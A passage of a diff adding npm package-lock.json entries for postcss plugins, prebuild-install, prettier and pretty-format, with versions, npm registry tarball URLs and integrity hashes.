"postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/postcss-normalize-repeat-style/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-repeat-style/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-repeat-style/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-normalize-repeat-style/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-normalize-repeat-style/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-repeat-style/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-normalize-repeat-style/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-normalize-repeat-style/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-4.0.0.tgz", + "integrity": "sha1-cYy20wpvrGrGqDDjLAbAfbxm/l0=", + "dev": true, + "dependencies": { + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/postcss-normalize-string/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-string/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-string/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-normalize-string/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-normalize-string/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-string/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-normalize-string/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-normalize-string/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-4.0.0.tgz", + "integrity": "sha1-A1HymIaqmB1D2RssK9GuptCvbSM=", + "dev": true, + "dependencies": { + "cssnano-util-get-match": "^4.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/postcss-normalize-timing-functions/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-timing-functions/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-timing-functions/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-normalize-timing-functions/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-normalize-timing-functions/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-timing-functions/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-normalize-timing-functions/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-normalize-timing-functions/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-4.0.0.tgz", + "integrity": "sha1-Ws1dR7rqXRdnSyzMSuUWb6iM35c=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/postcss-normalize-unicode/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-unicode/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-unicode/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-normalize-unicode/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-normalize-unicode/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-unicode/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-normalize-unicode/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-normalize-unicode/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-url": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-3.0.8.tgz", + "integrity": "sha1-EI90s/L82viRov+j6kWSJ5/HgiI=", + "dev": true, + "dependencies": { + "is-absolute-url": "^2.0.0", + "normalize-url": "^1.4.0", + "postcss": "^5.0.14", + "postcss-value-parser": "^3.2.3" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-4.0.0.tgz", + "integrity": "sha1-HafnaxCuY8EYJ/oE/Du0oe/pnMA=", + "dev": true, + "dependencies": { + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/postcss-normalize-whitespace/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-whitespace/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-whitespace/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/postcss-normalize-whitespace/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/postcss-normalize-whitespace/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-whitespace/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/postcss-normalize-whitespace/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-normalize-whitespace/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-ordered-values": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-2.2.3.tgz", + "integrity": "sha1-7sbCpntsQSqNsgQud/6NpD+VwR0=", + "dev": true, + "dependencies": { + "postcss": "^5.0.4", + "postcss-value-parser": "^3.0.1" + } + }, + "node_modules/postcss-reduce-idents": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-idents/-/postcss-reduce-idents-2.4.0.tgz", + "integrity": "sha1-wsbSDMlYKE9qv75j92Cb9AkFmtM=", + "dev": true, + "dependencies": { + "postcss": "^5.0.4", + "postcss-value-parser": "^3.0.2" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-1.0.1.tgz", + "integrity": "sha1-aPgGlfBF0IJjqHmtJA343WT2ROo=", + "dev": true, + "dependencies": { + "postcss": "^5.0.4" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-1.0.4.tgz", + "integrity": "sha1-/3b02CEkN7McKYpC0uFEQCV3GuE=", + "dev": true, + "dependencies": { + "has": "^1.0.1", + "postcss": "^5.0.8", + "postcss-value-parser": "^3.0.1" + } + }, + "node_modules/postcss-selector-parser": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-2.2.3.tgz", + "integrity": "sha1-+UN3iGBsPJrO4W/+jYsWKX8nu5A=", + "dev": true, + "dependencies": { + "flatten": "^1.0.2", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1" + } + }, + "node_modules/postcss-svgo": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-2.1.6.tgz", + "integrity": "sha1-tt8YqmE7Zm4TPwittSGcJoSsEI0=", + "dev": true, + "dependencies": { + "is-svg": "^2.0.0", + "postcss": "^5.0.14", + "postcss-value-parser": "^3.2.3", + "svgo": "^0.7.0" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-2.0.2.tgz", + "integrity": "sha1-mB1X0p3csz57Hf4f1DuGSfkzyh0=", + "dev": true, + "dependencies": { + "alphanum-sort": "^1.0.1", + "postcss": "^5.0.4", + "uniqs": "^2.0.0" + } + }, + "node_modules/postcss-value-parser": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.0.tgz", + "integrity": "sha1-h/OPnxj3dKSrTIojL1xc6IcqnRU=", + "dev": true + }, + "node_modules/postcss-zindex": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/postcss-zindex/-/postcss-zindex-2.2.0.tgz", + "integrity": "sha1-0hCd3AVbka9n/EyzsCWUZjnSryI=", + "dev": true, + "dependencies": { + "has": "^1.0.1", + "postcss": "^5.0.4", + "uniqs": "^2.0.0" + } + }, + "node_modules/postcss/node_modules/supports-color": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz", + "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", + "dev": true, + "dependencies": { + "has-flag": "^1.0.0" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/prebuild-install": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-2.5.1.tgz", + "integrity": "sha512-3DX9L6pzwc1m1ksMkW3Ky2WLgPQUBiySOfXVl3WZyAeJSyJb4wtoH9OmeRGcubAWsMlLiL8BTHbwfm/jPQE9Ag==", + "dev": true, + "optional": true, + "dependencies": { + "detect-libc": "^1.0.3", + "expand-template": "^1.0.2", + "github-from-package": "0.0.0", + "minimist": "^1.2.0", + "mkdirp": "^0.5.1", + "node-abi": "^2.2.0", + "noop-logger": "^0.1.1", + "npmlog": "^4.0.1", + "os-homedir": "^1.0.1", + "pump": "^2.0.1", + "rc": "^1.1.6", + "simple-get": "^2.7.0", + "tar-fs": "^1.13.0", + "tunnel-agent": "^0.6.0", + "which-pm-runs": "^1.0.0" + }, + "bin": { + "prebuild-install": "bin.js" + } + }, + "node_modules/prebuild-install/node_modules/detect-libc": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", + "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=", + "dev": true, + "optional": true, + "bin": { + "detect-libc": "bin/detect-libc.js" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prepend-http": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz", + "integrity": "sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/preserve": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/preserve/-/preserve-0.2.0.tgz", + "integrity": "sha1-gV7R9uvGWSb4ZbMQwHE7yzMVzks=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/prettier": { + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-1.13.6.tgz", + "integrity": "sha512-p5eqCNiohWZN++7aJXUVj0JgLqHCPLf9GLIcLBHGNWs4Y9FJOPs6+KNO2WT0udJIQJTbeZFrJkjzjcb8fkAYYQ==", + "dev": true, + "bin": { + "prettier": "bin-prettier.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/pretty-bytes": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-4.0.2.tgz", + "integrity": "sha1-sr+C5zUNZcbDOqlaqlpPYyf2HNk=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/pretty-format": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz", + "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==", + "peer": true, + "dependencies": { + "@jest/types": "^26.6.2", + "ansi-regex": "^5.0.0", + "ansi-styles": "^4.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/pretty-format/node_modules/@jest/types": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", + "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "peer": true, + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^15.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/pretty-format/node_modules/@types/yargs": { + "version": "15.0.15", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.15.tgz", + "integrity": "sha512-IziEYMU9XoVj8hWg7k+UJrXALkGFjWJhn5QFEv9q4p+v40oZhSuC135M38st8XPjICL7Ey4TV64ferBGUoJhBg==", + "peer": true, + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/pretty-format/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/pretty-format/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/pretty-format/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/pretty-format/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/pretty-format/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/pretty-format/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": 